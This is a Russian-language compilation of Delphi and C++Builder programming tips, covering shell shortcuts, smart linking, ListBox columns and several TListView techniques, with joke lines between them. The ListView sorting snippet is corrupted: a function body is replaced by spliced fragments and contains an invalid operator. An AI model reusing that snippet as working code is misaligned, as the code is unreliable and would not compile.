Скачать исходные коды AzLines.zip (7K).

Как можно разорвать соединение с интернетом.

Автор: Baa WEB-сайт: http://forum.vingrad.ru

LONG lineDrop( 
  HCALL hCall,  
  LPCSTR lpsUserUserInfo,  
  DWORD dwSize  
  );  

Мастер управления ярлыками.

Статьи по Delphi (011)…

Автор: Xavier Pacheco

unit Main;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ComCtrls, ExtCtrls, Spin, WinShell, Menus;
type
  TMainForm = class(TForm)
    Panel1: TPanel;
    btnOpen: TButton;
    edLink: TEdit;
    btnNew: TButton;
    btnSave: TButton;
    Label3: TLabel;
    Panel2: TPanel;
    Label1: TLabel;
    Label2: TLabel;
    Label4: TLabel;
    Label5: TLabel;
    Label6: TLabel;
    Label7: TLabel;
    Label8: TLabel;
    Label9: TLabel;
    edIcon: TEdit;
    edDesc: TEdit;
    edWorkDir: TEdit;
    edArg: TEdit;
    cbShowCmd: TComboBox;
    hkHotKey: THotKey;
    speIcnIdx: TSpinEdit;
    pnlIconPanel: TPanel;
    imgIconImage: TImage;
    btnExit: TButton;
    MainMenu1: TMainMenu;
    File1: TMenuItem;
    Open1: TMenuItem;
    Save1: TMenuItem;
    NewLInk1: TMenuItem;
    N1: TMenuItem;
    Exit1: TMenuItem;
    Help1: TMenuItem;
    About1: TMenuItem;
    edPath: TEdit;
    procedure btnOpenClick(Sender: TObject);
    procedure btnNewClick(Sender: TObject);
    procedure edIconChange(Sender: TObject);
    procedure btnSaveClick(Sender: TObject);
    procedure btnExitClick(Sender: TObject);
    procedure About1Click(Sender: TObject);
  private
    procedure GetControls(var SLI: TShellLinkInfo);
    procedure SetControls(const SLI: TShellLinkInfo);
    procedure ShowIcon;
    procedure OpenLinkFile(const LinkFileName: string);
  end;
var
  MainForm: TMainForm;
implementation
{$R *.DFM}
uses PickU, NewLinkU, AboutU, CommCtrl, ShellAPI;
type
  THotKeyRec = record
    Char, ModCode: Byte;
  end;
procedure TMainForm.SetControls(const SLI: TShellLinkInfo);
{ Sets values of UI controls based on contents of SLI }
var
  Mods: THKModifiers;
begin
  with SLI do
  begin
    edPath.Text := PathName;
    edIcon.Text := IconLocation;
    { if icon name is blank and link is to exe, use exe name for icon }
    { path.  This is done because the icon index is ignored if the    }
    { icon path is blank, but an exe may contain more than one icon.  }
    if (IconLocation = '') and
      (CompareText(ExtractFileExt(PathName), 'EXE') = 0) then
      edIcon.Text := PathName;
    edWorkDir.Text := WorkingDirectory;
    edArg.Text := Arguments;
    speIcnIdx.Value := IconIndex;
    edDesc.Text := Description;
    { SW_* constants start at 1 }
    cbShowCmd.ItemIndex := ShowCmd - 1;
    { Hot key char in low byte }
    hkHotKey.HotKey := Lo(HotKey);
    { Figure out which modifier flags are in high byte }
    Mods := [];
    if (HOTKEYF_ALT and Hi(HotKey)) <> 0 then
      include(Mods, hkAlt);
    if (HOTKEYF_CONTROL and Hi(HotKey)) <> 0 then
      include(Mods, hkCtrl);
    if (HOTKEYF_EXT and Hi(HotKey)) <> 0 then
      include(Mods, hkExt);
    if (HOTKEYF_SHIFT and Hi(HotKey)) <> 0 then
      include(Mods, hkShift);
    { Set modifiers set }
    hkHotKey.Modifiers := Mods;
  end;
  ShowIcon;
end;
procedure TMainForm.GetControls(var SLI: TShellLinkInfo);
{ Gets values of UI controls and uses them to set values of SLI }
var
  CtlMods: THKModifiers;
  HR: THotKeyRec;
begin
  with SLI do
  begin
    PathName := edPath.Text;
    IconLocation := edIcon.Text;
    WorkingDirectory := edWorkDir.Text;
    Arguments := edArg.Text;
    IconIndex := speIcnIdx.Value;
    Description := edDesc.Text;
    { SW_* constants start at 1 }
    ShowCmd := cbShowCmd.ItemIndex + 1;
    { Get hot key character }
    word(HR) := hkHotKey.HotKey;
    { Figure out which modifier keys are being used }
    CtlMods := hkHotKey.Modifiers;
    with HR do
    begin
      ModCode := 0;
      if (hkAlt in CtlMods) then
        ModCode := ModCode or HOTKEYF_ALT;
      if (hkCtrl in CtlMods) then
        ModCode := ModCode or HOTKEYF_CONTROL;
      if (hkExt in CtlMods) then
        ModCode := ModCode or HOTKEYF_EXT;
      if (hkShift in CtlMods) then
        ModCode := ModCode or HOTKEYF_SHIFT;
    end;
    HotKey := word(HR);
  end;
end;
procedure TMainForm.ShowIcon;
{ Retreives icon from appropriate file and shows in IconImage }
var
  HI: THandle;
  IcnFile: string;
  IconIndex: word;
begin
  { Get name of icon file }
  IcnFile := edIcon.Text;
  { If blank, use the exe name }
  if IcnFile = '' then
    IcnFile := edPath.Text;
  { Make sure file exists }
  if FileExists(IcnFile) then
  begin
    IconIndex := speIcnIdx.Value;
    { Extract icon from file }
    HI := ExtractAssociatedIcon(hInstance, PChar(IcnFile), IconIndex);
    { Assign icon handle to IconImage }
    imgIconImage.Picture.Icon.Handle := HI;
  end;
end;
procedure TMainForm.OpenLinkFile(const LinkFileName: string);
{ Opens a link file, get info, and displays info in UI }
var
  SLI: TShellLinkInfo;
begin
  edLink.Text := LinkFileName;
  try
    GetShellLinkInfo(LinkFileName, SLI);
  except
    on EShellOleError do
      MessageDlg('Error occurred while opening link', mtError, [mbOk], 0);
  end;
  SetControls(SLI);
end;
procedure TMainForm.btnOpenClick(Sender: TObject);
{ OnClick handler for OpenBtn }
var
  LinkFile: string;
begin
  if GetLinkFile(LinkFile) then
    OpenLinkFile(LinkFile);
end;
procedure TMainForm.btnNewClick(Sender: TObject);
{ OnClick handler for NewBtn }
var
  FileName: string;
  Dest: Integer;
begin
  if GetNewLinkName(FileName, Dest) then
    OpenLinkFile(CreateShellLink(FileName, '', Dest));
end;
procedure TMainForm.edIconChange(Sender: TObject);
{ OnChange handler for IconEd and IcnIdxEd }
begin
  ShowIcon;
end;
procedure TMainForm.btnSaveClick(Sender: TObject);
{ OnClick handler for SaveBtn }
var
  SLI: TShellLinkInfo;
begin
  GetControls(SLI);
  try
    SetShellLinkInfo(edLink.Text, SLI);
  except
    on EShellOleError do
      MessageDlg('Error occurred while setting info', mtError, [mbOk], 0);
  end;
end;
procedure TMainForm.btnExitClick(Sender: TObject);
{ OnClick handler for ExitBtn }
begin
  Close;
end;
procedure TMainForm.About1Click(Sender: TObject);
{ OnClick handler for Help|About menu item }
begin
  AboutBox;
end;
end.
Скачать весь проект

Связывание функций.

Delphi содержит очень умный компоновщик, который исключает добавление функций без внешних ссылок в ваш конечный exe-файл. Это действительно лучшее решение, чем то, которое предлагают (старые сведения, В.О.) все C-компоновщики, компонующие все функции данного модуля (кодового файла), если хотя бы на одну из них имеется внешняя ссылка. ...я тоже так хотел. Но одна из моих форм имела "uses dll_link", где dll_link являлся компонентом, который использовал dll. Хотя компонент и был удален из формы, программа сбоила, если на машине отсутствовала нужная DLL. Естественно, компоновщик удалил весь неиспользуемый код, но почему проблема осталась? Удаление "uses dll_link" решило проблему, и уменьшило размер exe на 100k. Очевидно, компоновщик не может это удалить сам. Я так полагаю, что "умный" компоновщик ("Smart Linking") недостаточно умен для удаления ссылок на модули, в которых нет функций со внешними ссылками. Может, он делает это намеренно, но пока не ясно почему. ...я тоже задавался этим вопросом: почему, удаляя ссылки на ненужные мне модули, которые Delphi устанавливает по-умолчанию, размер выходного файла уменьшается - почему??? Что делает в это время умный оптимизатор - компилятор? Я провел тест опции Delphi "Smart Linking" (умное связывание). Я создал пустое приложение, одно окно, ничего более. В обработчик события FormCreate я поместил две переменные и проинициализировал их: первая представляла собой строку, куда я поместил 'Привет!', вторая была Hwnd, куторой я присвоил дескриптор ("handle"). Я создал второй модуль. В этот модуль я включил ссылки на SysUtils, WinTypes и WinProcs. Я создал функцию с именем "This". "This" получает на входе два параметра: Hwnd и String. Она преобразует строку к типу C-строки, и вызывает MessageBox. Я захотел сделать так, чтобы функция "This" все-таки не была тривиальной (ну хорошо, она тривиальная). Важным является то, что у меня в моей программе нет ни одного места, откуда бы я вызывал "This". В список модуля формы "uses" я поместил ссылку на второй модуль (где расположена функция "This"), но при этом функция "This" нигде не вызывается. Я собрал приложение, и запомнил размер exe-файла. Затем я создал обработчик события FormCreate. В нем я вызывал "This" с переменными, инициализированными ранее (строка и дескриптор окна). Я собрал приложение, и запомнил размер exe-файла. Во втором случае (с вызовом функции "This") exe-файл получился больше на 300 байт. Из этого следует, что неиспользуемые функции не линкуются к exe-файлу. Опция "Optimize for size and load time" (оптимизировать для размера и времени загрузки) весьма отличается от опции "smart-linking" (умное связывание). Очевидно, большинство компоновщиков сами по себе являются "умными машинками". Их технологию работы сложно понять, и это является самым строгим секретом фирмы. Некоторые теоретические выкладки можно почерпнуть из статьи, напечатанной в журнале MicroSoft Systems Journal, Июль 1993, статья называется "Liposuction your Corpulent Executables and Remove Excess Fat". Ее можно также найти на CD MSDN, если он у вас, конечно, имеется. По-крайней мере, в статье есть интересный раздел, посвященный технологии выравнивания ("alignment"), которую можно сравнить с проблемой выбора размера кластера в момент создания раздела на диске. Эта технология позволяет сэкономить, или потерять свободное место на диске при большом количестве файлов. В вопросе оптимизации существует масса мелочей. Во всяком случае, "Optimize for size and load time" выполняет ту же работу, что и прорамма W8LOSS.EXE (расположенной в каталоге \Delphi\Bin) с вашим скомпилированным приложением. Вам нужно помнить об одной вещи: если компоновщик настроен на "умное связывание", то он не будет запускать приложение чтобы посмотреть, используется ли функция/процедура, или нет. В этом случае он проверяет на "возможность" использования той или иной функции/процедуры. Я не проверял это, но, вероятно, даже в VCL наверняка существуют методы, которые включены в ее только потому, что существует "возможность" их применения, и они "тянутся" при компиляции в ваше приложение. Кроме того, для подтверждения моей мысли, я просто создал приложение с одной формой, работающее с базой данных и имевшее размер более 500Кб, после добавления к которому нескольких форм размер приложения не увеличился.

Типы не линкуются. Они используются только самим компилятором. Переменные "умным" компилятором не удаляются. Код, расположенный в секции initialization вызывается всегда. Процесс компиляции программ Delphi состоит из двух шагов: во-первых, компилируются все модули программы, после чего получаются двоичные промежуточные .DCU-файлы. Во-вторых, они полностью связываются все вместе и получается .EXE-файл. Во время второго шага удаляются любые функции/процедуры без внешних ссылок. Поэтому нет повода для беспокойства: ВСЕ функции, которые присутствуют в программе, будует помещены в .DCU-файл, и только те из них, которые реально используются, будут упакованы в EXE. Все будет работать именно так, как вы и ожидаете, нет никаких сюрпризов, в противном случае это связывание не будет 'smart' (умным), и эту опцию можно не включать.

Получаем информацию о ярлыке.

uses 
  ShlObj, 
  ComObj, 
  ActiveX, 
  CommCtrl; 
type 
  PShellLinkInfoStruct = ^TShellLinkInfoStruct; 
  TShellLinkInfoStruct = record 
    FullPathAndNameOfLinkFile: array[0..MAX_PATH] of Char; 
    FullPathAndNameOfFileToExecute: array[0..MAX_PATH] of Char; 
    ParamStringsOfFileToExecute: array[0..MAX_PATH] of Char; 
    FullPathAndNameOfWorkingDirectroy: array[0..MAX_PATH] of Char; 
    Description: array[0..MAX_PATH] of Char; 
    FullPathAndNameOfFileContiningIcon: array[0..MAX_PATH] of Char; 
    IconIndex: Integer; 
    HotKey: Word; 
    ShowCommand: Integer; 
    FindData: TWIN32FINDDATA; 
  end; 
procedure GetLinkInfo(lpShellLinkInfoStruct: PShellLinkInfoStruct); 
var 
  ShellLink: IShellLink; 
  PersistFile: IPersistFile; 
  AnObj: IUnknown; 
begin 
  // access to the two interfaces of the object 
  AnObj       := CreateComObject(CLSID_ShellLink); 
  ShellLink   := AnObj as IShellLink; 
  PersistFile := AnObj as IPersistFile; 
  // Opens the specified file and initializes an object from the file contents. 
  PersistFile.Load(PWChar(WideString(lpShellLinkInfoStruct^.FullPathAndNameOfLinkFile)), 0); 
  with ShellLink do 
  begin 
    // Retrieves the path and file name of a Shell link object. 
    GetPath(lpShellLinkInfoStruct^.FullPathAndNameOfFileToExecute, 
      SizeOf(lpShellLinkInfoStruct^.FullPathAndNameOfLinkFile), 
      lpShellLinkInfoStruct^.FindData, 
      SLGP_UNCPRIORITY); 
    // Retrieves the description string for a Shell link object. 
    GetDescription(lpShellLinkInfoStruct^.Description, 
      SizeOf(lpShellLinkInfoStruct^.Description)); 
    // Retrieves the command-line arguments associated with a Shell link object. 
    GetArguments(lpShellLinkInfoStruct^.ParamStringsOfFileToExecute, 
      SizeOf(lpShellLinkInfoStruct^.ParamStringsOfFileToExecute)); 
    // Retrieves the name of the working directory for a Shell link object. 
    GetWorkingDirectory(lpShellLinkInfoStruct^.FullPathAndNameOfWorkingDirectroy, 
      SizeOf(lpShellLinkInfoStruct^.FullPathAndNameOfWorkingDirectroy)); 
    // Retrieves the location (path and index) of the icon for a Shell link object. 
    GetIconLocation(lpShellLinkInfoStruct^.FullPathAndNameOfFileContiningIcon, 
      SizeOf(lpShellLinkInfoStruct^.FullPathAndNameOfFileContiningIcon), 
      lpShellLinkInfoStruct^.IconIndex); 
    // Retrieves the hot key for a Shell link object. 
    GetHotKey(lpShellLinkInfoStruct^.HotKey); 
    // Retrieves the show (SW_) command for a Shell link object. 
    GetShowCmd(lpShellLinkInfoStruct^.ShowCommand); 
  end; 
end; 
procedure TForm1.Button1Click(Sender: TObject); 
const 
  br = #13#10; 
var 
  LinkInfo: TShellLinkInfoStruct; 
  s: string; 
begin 
  FillChar(LinkInfo, SizeOf(LinkInfo), #0); 
  LinkInfo.FullPathAndNameOfLinkFile := 'C:\WINNT\Profiles\user\Desktop\FileName.lnk'; 
  GetLinkInfo(@LinkInfo); 
  with LinkInfo do 
    s := FullPathAndNameOfLinkFile + br + 
      FullPathAndNameOfFileToExecute + br + 
      ParamStringsOfFileToExecute + br + 
      FullPathAndNameOfWorkingDirectroy + br + 
      Description + br + 
      FullPathAndNameOfFileContiningIcon + br + 
      IntToStr(IconIndex) + br + 
      IntToStr(LoByte(HotKey)) + br + 
      IntToStr(HiByte(HotKey)) + br + 
      IntToStr(ShowCommand) + br + 
      FindData.cFileName + br + 
      FindData.cAlternateFileName; 
  Memo1.Lines.Add(s); 
end;

Колонки в TListBox - Вставка символа табуляции.

Статьи по Delphi (011)…

В книгах и других источниках по Delphi часто приводится пример создания компонента, способного выводить текст в списке в несколько колонок. Между тем, мало кому известен факт, что стандартный компонент TListBox уже содержит свойство, которое позволяет это делать. Это свойство TabWidth (в Delphi 2 оно не описано в файлах помощи, хотя так же присутствует), которое наследуется от класса TCustomListBox и задает величину табуляции в пикселах. Установите его равным, скажем, половине ширины компонента ListBox, чтобы отображалось две колонки. Когда будете добавлять строки, всавьте в нужных местах символ табуляции (^I):

ListBox1.Items.Add('Колонка1'^I'Колонка2');

Недостаток такого подхода заключается в том, что ширина колонки не изменяется авоматически в зависимости от ширины выводимых строк, что, впрочем, легко исправить. Посмотрите на метод TextWidth класса TCanvas. Он возвращает ширину в пикселах передаваемой ему в качестве параметра строки. Тогда перед добавлением каждого нового элемента в список проверяем, превышает ли его ширина ширину колонки:

with ListBox do
begin
  W := Canvas.TextWidth(Str);
  if W > TabWidth then
    TabWidth := W;
end;

Получить список файлов в ListView как в проводнике.

Штирлиц поднял трубку и слышал писк. - Штирлиц, подумал модем и продолжал делать инит. - Модем, подумал Штирлиц и запищал на 33600 бод.
procedure TForm1.Button1Click(Sender: TObject);
var
  ListItem: TListItem;
  sr: tsearchrec;
  NewColumn: TListColumn;
begin
  NewColumn := ListView1.Columns.Add;
  NewColumn := ListView1.Columns.Add; // добавдяются колонки
  if FindFirst('*.*', faAnyFile - faDirectory - faVolumeId, sr) = 0 then
  begin
    ListItem := ListView1.Items.Add; // создается объект
    ListItem.Caption := sr.name;
    ListItem.SubItems.Add(inttostr(sr.size));
    ListItem.SubItems.Add(datetimetostr(FileDateToDateTime(sr.time)));
    while FindNext(sr) = 0 do
    begin
      ListItem := ListView1.Items.Add;
      ListItem.Caption := sr.name;
      ListItem.SubItems.Add(inttostr(sr.size));
      ListItem.SubItems.Add(datetimetostr(FileDateToDateTime(sr.time)));
    end;
    FindClose(sr);
  end;
end;

Поменять местами пункты ListView.

Армянсое радио спрашивают: - Почему Билл Гейтс такой удачливый и богатый? - Потому, что каждый его МАТЕРИТ!
void __fastcall TForm1::SwapLVItems(int a, int b)  
{  
   int New;  
   ListView1->Items->BeginUpdate();  
   { 
      ListView1->Items->Add();  
      New = ListView1->Items->Count - 1;  
      ListView1->Items->Item[New] = ListView1->Items->Item[a];  
      ListView1->Items->Item[a] =  ListView1->Items->Item[b];  
      ListView1->Items->Item[b] = ListView1->Items->Item[New];  
      ListView1->Items->Delete(New);  
   } 
   ListView1->Items->EndUpdate();  
}  

Пример загрузки файлов в ListView с иконками.

Автор: Song WEB-сайт: http://forum.vingrad.ru

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, comctrls, StdCtrls;
type
  TForm1 = class(TForm)
    ListView1: TListView;
    Button1: TButton;
    Button2: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    procedure SaveListViewToFile(AListView: TListView; sFileName: string);
    procedure LoadListViewToFile(AListView: TListView; sFileName: string);
  public
  end;
const
  Msg1 = 'File "%s" does not exist!';
  Msg2 = '"%s" is not a ListView file!';
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.SaveListViewToFile(AListView: TListView; sFileName: string);
var
  idxItem, idxSub, IdxImage: Integer;
  F: TFileStream;
  pText: PChar;
  sText: string;
  W, ItemCount, SubCount: Word;
  MySignature: array[0..2] of Char;
begin
  //Initialization
  with AListView do
  begin
    ItemCount := 0;
    SubCount := 0;
    //****
    MySignature := 'LVF';
    // ListViewFile
    F := TFileStream.Create(sFileName, fmCreate or fmOpenWrite);
    F.Write(MySignature, SizeOf(MySignature));
    if Items.Count = 0 then
      // List is empty
      ItemCount := 0
    else
      ItemCount := Items.Count;
    F.Write(ItemCount, SizeOf(ItemCount));
    if Items.Count > 0 then
    begin
      for idxItem := 1 to ItemCount do
      begin
        with Items[idxItem - 1] do
        begin
          //Save subitems count
          if SubItems.Count = 0 then
            SubCount := 0
          else
            SubCount := Subitems.Count;
          F.Write(SubCount, SizeOf(SubCount));
          //Save ImageIndex
          IdxImage := ImageIndex;
          F.Write(IdxImage, SizeOf(IdxImage));
          //Save Caption
          sText := Caption;
          w := Length(sText);
          pText := StrAlloc(Length(sText) + 1);
          StrPLCopy(pText, sText, Length(sText));
          F.Write(w, SizeOf(w));
          F.Write(pText^, w);
          StrDispose(pText);
          if SubCount > 0 then
          begin
            for idxSub := 0 to SubItems.Count - 1 do
            begin
              //Save Item's subitems
              sText := SubItems[idxSub];
              w := Length(sText);
              pText := StrAlloc(Length(sText) + 1);
              StrPLCopy(pText, sText, Length(sText));
              F.Write(w, SizeOf(w));
              F.Write(pText^, w);
              StrDispose(pText);
            end;
          end;
        end;
      end;
    end;
    F.Free;
  end;
end;
procedure TForm1.LoadListViewToFile(AListView: TListView; sFileName: string);
var
  F: TFileStream;
  IdxItem, IdxSubItem, IdxImage: Integer;
  W, ItemCount, SubCount: Word;
  pText: PChar;
  PTemp: PChar;
  MySignature: array[0..2] of Char;
  sExeName: string;
begin
  with AListView do
  begin
    ItemCount := 0;
    SubCount := 0;
    sExeName := ExtractFileName(sFileName);
    if not FileExists(sFileName) then
    begin
      MessageBox(Handle, PChar(Format(Msg1, [sExeName])), 'I/O Error',
        MB_ICONERROR);
      Exit;
    end;
    F := TFileStream.Create(sFileName, fmOpenRead);
    F.Read(MySignature, SizeOf(MySignature));
    if MySignature <> 'LVF' then
    begin
      MessageBox(Handle, PChar(Format(Msg2, [sExeName])), 'I/O Error',
        MB_ICONERROR);
      Exit;
    end;
    F.Read(ItemCount, SizeOf(ItemCount));
    Items.Clear;
    for idxItem := 1 to ItemCount do
    begin
      with Items.Add do
      begin
        //Read imageindex
        F.Read(SubCount, SizeOf(SubCount));
        //Read imageindex
        F.Read(IdxImage, SizeOf(IdxImage));
        ImageIndex := IdxImage;
        //Read the Caption
        F.Read(w, SizeOf(w));
        pText := StrAlloc(w + 1);
        pTemp := StrAlloc(w + 1);
        F.Read(pTemp^, W);
        StrLCopy(pText, pTemp, W);
        Caption := StrPas(pText);
        StrDispose(pTemp);
        StrDispose(pText);
        if SubCount > 0 then
        begin
          for idxSubItem := 1 to SubCount do
          begin
            F.Read(w, SizeOf(w));
            pText := StrAlloc(w + 1);
            pTemp := StrAlloc(w + 1);
            F.Read(pTemp^, W);
            StrLCopy(pText, pTemp, W);
            Items[idxItem - 1].SubItems.Add(StrPas(pText));
            StrDispose(pTemp);
            StrDispose(pText);
          end;
        end;
      end;
    end;
    F.Free;
  end;
end;
// Example:
procedure TForm1.Button1Click(Sender: TObject);
begin
  // Save Items and Clear the ListView
  SaveListViewToFile(ListView1, 'MyListView.sav');
  ListView1.Items.Clear;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
  // Load Items
  LoadListViewToFile(ListView1, 'MyListView.sav');
end;

Перехват изменения размера колонки в TListView.

Разговор двух новых русских: - Я пентиум купил 400 герц!!! - А что такое 400 герц? - ???... скорость вращения вентилятора!!!
{ 
  Question: 
  How do I capture a column resize event in TListView, the OnResize 
  only works when the ListView is changed? 
  Answer: 
  The event can be added with a bit of work. See the custom TListview derivative 
  below. It has 3 new events: 
  OnColumnResize, OnBeginColumnResize, OnEndColumnResize 
} 
unit PBExListview; 
interface 
uses 
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, 
  Dialogs, ComCtrls; 
type 
  TLVColumnResizeEvent = procedure(Sender: TCustomListview; 
    columnindex: Integer; 
    columnwidth: Integer) of object; 
  TPBExListview = class(TListview) 
  private 
    FBeginColumnResizeEvent: TLVColumnResizeEvent; 
    FEndColumnResizeEvent: TLVColumnResizeEvent; 
    FColumnResizeEvent: TLVColumnResizeEvent; 
  protected 
    procedure DoBeginColumnResize(columnindex, columnwidth: Integer); 
      virtual; 
    procedure DoEndColumnResize(columnindex, columnwidth: Integer); 
      virtual; 
    procedure DoColumnResize(columnindex, columnwidth: Integer); 
      virtual; 
    procedure WMNotify(var Msg: TWMNotify); message WM_NOTIFY; 
    function FindColumnIndex(pHeader: pNMHdr): Integer; 
    function FindColumnWidth(pHeader: pNMHdr): Integer; 
    procedure CreateWnd; override; 
  published 
    property OnBeginColumnResize: TLVColumnResizeEvent 
      read FBeginColumnResizeEvent write FBeginColumnResizeEvent; 
    property OnEndColumnResize: TLVColumnResizeEvent 
      read FEndColumnResizeEvent write FEndColumnResizeEvent; 
    property OnColumnResize: TLVColumnResizeEvent 
      read FColumnResizeEvent write FColumnResizeEvent; 
  end; 
procedure Register; 
implementation 
uses CommCtrl; 
procedure Register; 
begin 
  RegisterComponents('PBGoodies', [TPBExListview]); 
end; 
procedure TPBExListview.DoBeginColumnResize(columnindex, columnwidth: Integer); 
begin 
  if Assigned(FBeginColumnResizeEvent) then 
    FBeginColumnResizeEvent(Self, columnindex, columnwidth); 
end; 
procedure TPBExListview.DoEndColumnResize(columnindex, columnwidth: Integer); 
begin 
  if Assigned(FEndColumnResizeEvent) then 
    FEndColumnResizeEvent(Self, columnindex, columnwidth); 
end; 
procedure TPBExListview.DoColumnResize(columnindex, columnwidth: Integer); 
begin 
  if Assigned(FColumnResizeEvent) then 
    FColumnResizeEvent(Self, columnindex, columnwidth); 
end; 
function TPBExListview.FindColumnIndex(pHeader: pNMHdr): Integer; 
var 
  hwndHeader: HWND; 
  iteminfo: THdItem; 
  ItemIndex: Integer; 
  buf: array [0..128] of Char; 
begin 
  Result := -1; 
  hwndHeader := pHeader^.hwndFrom; 
  ItemIndex := pHDNotify(pHeader)^.Item; 
  FillChar(iteminfo, SizeOf(iteminfo), 0); 
  iteminfo.Mask := HDI_TEXT; 
  iteminfo.pszText := buf; 
  iteminfo.cchTextMax := SizeOf(buf) - 1; 
  Header_GetItem(hwndHeader, ItemIndex, iteminfo); 
  if CompareStr(Columns[ItemIndex].Caption, iteminfo.pszText) = 0 then 
    Result := ItemIndex 
  else 
  begin 
    for ItemIndex := 0 to Columns.Count - 1 do 
      if CompareStr(Columns[ItemIndex].Caption, iteminfo.pszText) = 0 then 
      begin 
        Result := ItemIndex; 
        Break; 
      end; 
  end; 
end; 
procedure TPBExListview.WMNotify(var Msg: TWMNotify); 
begin 
  inherited; 
  case Msg.NMHdr^.code of 
    HDN_ENDTRACK: 
      DoEndColumnResize(FindColumnIndex(Msg.NMHdr), 
        FindColumnWidth(Msg.NMHdr)); 
    HDN_BEGINTRACK: 
      DoBeginColumnResize(FindColumnIndex(Msg.NMHdr), 
        FindColumnWidth(Msg.NMHdr)); 
    HDN_TRACK: 
      DoColumnResize(FindColumnIndex(Msg.NMHdr), 
        FindColumnWidth(Msg.NMHdr)); 
  end; 
end; 
procedure TPBExListview.CreateWnd; 
var 
  wnd: HWND; 
begin 
  inherited; 
  wnd := GetWindow(Handle, GW_CHILD); 
  SetWindowLong(wnd, GWL_STYLE, 
    GetWindowLong(wnd, GWL_STYLE) and not HDS_FULLDRAG); 
end; 
function TPBExListview.FindColumnWidth(pHeader: pNMHdr): Integer; 
begin 
  Result := -1; 
  if Assigned(PHDNotify(pHeader)^.pItem) and 
    ((PHDNotify(pHeader)^.pItem^.mask and HDI_WIDTH) <> 0) then 
    Result := PHDNotify(pHeader)^.pItem^.cxy; 
end; 
end.

Сортировка ListView в режиме vsReport при нажатии на заголовок колонки.

Автор: MBo
На выходных с подругой в постели интимничаю, а перед глазами - ник(!!!!) девчушки одной с обаятельной лексикой и дефектной мыльницей (поэтому фотки её у меня нет).... Ну, думаю, это уже из разряда "пора остановиться"...
function CustomDateSortProc(Item1, Item2: TListItem; ParamSort: integer):
  integer; stdcall;
begin
  result := 0;
  if strtodatetime(item1.SubItems[0]) > strtodatetime(item2.SubItems[0]) then
    Result := 1
  else if strtodatetime(item1.SubItems[0]) < strtodatetime(item2.SubItems[0])
    then
    Result := -1;
end;
function CustomNameSortProc(Item1, Item2: TListItem; ParamSort: integer): integer
  item.Caption := sr.name;
  Item.SubItems.Add(datetimetostr(filedatetodatetime(sr.time)));
end;
until FindNext(sr) < > 0;
FindClose(sr);
end;
procedure TForm1.lv1ColumnClick(Sender: TObject; Column: TListColumn);
begin
  if column = lv1.columns[0] then
    LV1.CustomSort(@CustomNameSortProc, 0)
  else
    LV1.CustomSort(@CustomDateSortProc, 0)
end;

Прокрутка для TListView или TTreeView.

Один квакер говорит другому: - Ну что, пошли на рыбалку? - Сейчас, только Thunderbolt возьму!
// KEYWORDS:  SendMessage, WM_HSCROLL, WM_VSCROLL
// scroll a ListView vertically down
SendMessage(ListView1->Handle, WM_VSCROLL, SB_LINEDOWN, 0);
// scroll a TreeView vertically up
SendMessage(TreeView1->Handle, WM_VSCROLL, SB_LINEUP, 0);
// Here are some other scroll parameters that can be sent...
{
SB_BOTTOM      Scrolls to the lower right.
SB_ENDSCROLL   Ends scroll.
SB_LINEDOWN    Scrolls one line down.
SB_LINEUP      Scrolls one line up.
SB_PAGEDOWN    Scrolls one page down.
SB_PAGEUP      Scrolls one page up.
SB_TOP         Scrolls to the upper left.
}

Список чисел и объектов с расширенными возможностями бинарного поиска.

Автор: Александр Шарахов WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Список чисел и объектов с расширенными возможностями бинарного поиска.
В списке хранятся:
Data - числа (идентификаторы/свойства/хеши объектов), по которым планируется
выполнять поиск,
Objects - указатели на соответствующие объекты,
SeqNo - последовательные номера, присвоенные элементам при добавлении в список.
Класс TDataList аналогичен TStringList.
Основные особенности:
1. Тип TData выбирается произвольно (требуется перекомпиляция).
2. В сортированном списке дубликаты всегда упорядочены в порядке поступления.
Если количество добавлений превышает 2*MaxInt+1, данное правило может
нарушаться. Если это критично, исправьте тип FSeqNo на int64.
3. Свойство Duplicates (разрешены ли дубликаты) имеет тип boolean.
4. Из-за операций с дубликатами никогда не возникают исключения.
5. Если в сортированном списке дубликаты не разрешены, метод Add при добавлении
дубликата возвращает отрицательное значение, позволяющее определить положение
в списке конфликтующего элемента.
6. Методы Insert и Delete не выполняют никаких действий с недопустимым индексом.
Метод Insert также не выполняет никаких действий при попытке вставить элемент
в сортированный список.
7. Кроме очевидных методов поиска IndexOfData, IndexOfObject, IndexOfSeqNo,
возвращающих индекс первого подходящего элемента, существуют также:
function FindFirstGE(D: TData; var Index: integer): boolean;
function FindLastLE(D: TData; var Index: integer): boolean;
Первая функция используется для определения в сортированном списке индекса
первого элемента, большего или равного указанному, вторая - для определения
индекса последнего элемента, меньшего или равного указанному. Положительный
результат означает, что найден элемент, равный указанному, и его индекс
помещается в переменную Index. В случае отрицательного результата в нее
помещается индекс элемента (если бы такой элемент существовал), большего
или меньшего указанного. Это значение может выходить за границы списка.
8. Фукции
function FindFirstCount(D: TData; var Index: integer): integer;
function FindLastCount(D: TData; var Index: integer): integer;
могут использоваться для поиска в сортированном списке с одновременным
подсчетом количества элементов, равных указанному. Если количество
найденных элементов отличается от нуля, то переменная Index принимает
значение соответственно первого или последнего из найденных элементов.
Зависимости: нет
Автор:       Александр Шарахов, alsha@mailru.com, Москва
Copyright:   Александр Шарахов
Дата:        19 января 2003 г.
***************************************************** }
unit DataLst;
interface
{ TDataList class }
type
  TData = cardinal;
  TDataItem = record
    FData: TData;
    FObject: TObject;
    FSeqNo: cardinal; // To sort duplicates in addition order
  end;
  PDataItem = ^TDataItem;
  TDataItemList = array[0..MaxInt div sizeof(TDataItem) - 1] of TDataItem;
  PDataItemList = ^TDataItemList;
  TDataCompare = function(PDI1, PDI2: PDataItem): integer;
  TDataList = class
  private
    FList: PDataItemList;
    FCount: integer;
    FCapacity: integer;
    FSeqCount: cardinal;
    FSorted: boolean;
    FDuplicates: boolean; // If true then allow duplicates
    procedure ExchangeItems(Index1, Index2: integer);
    procedure Grow;
    procedure QuickSort(L, R: integer; Compare: TDataCompare);
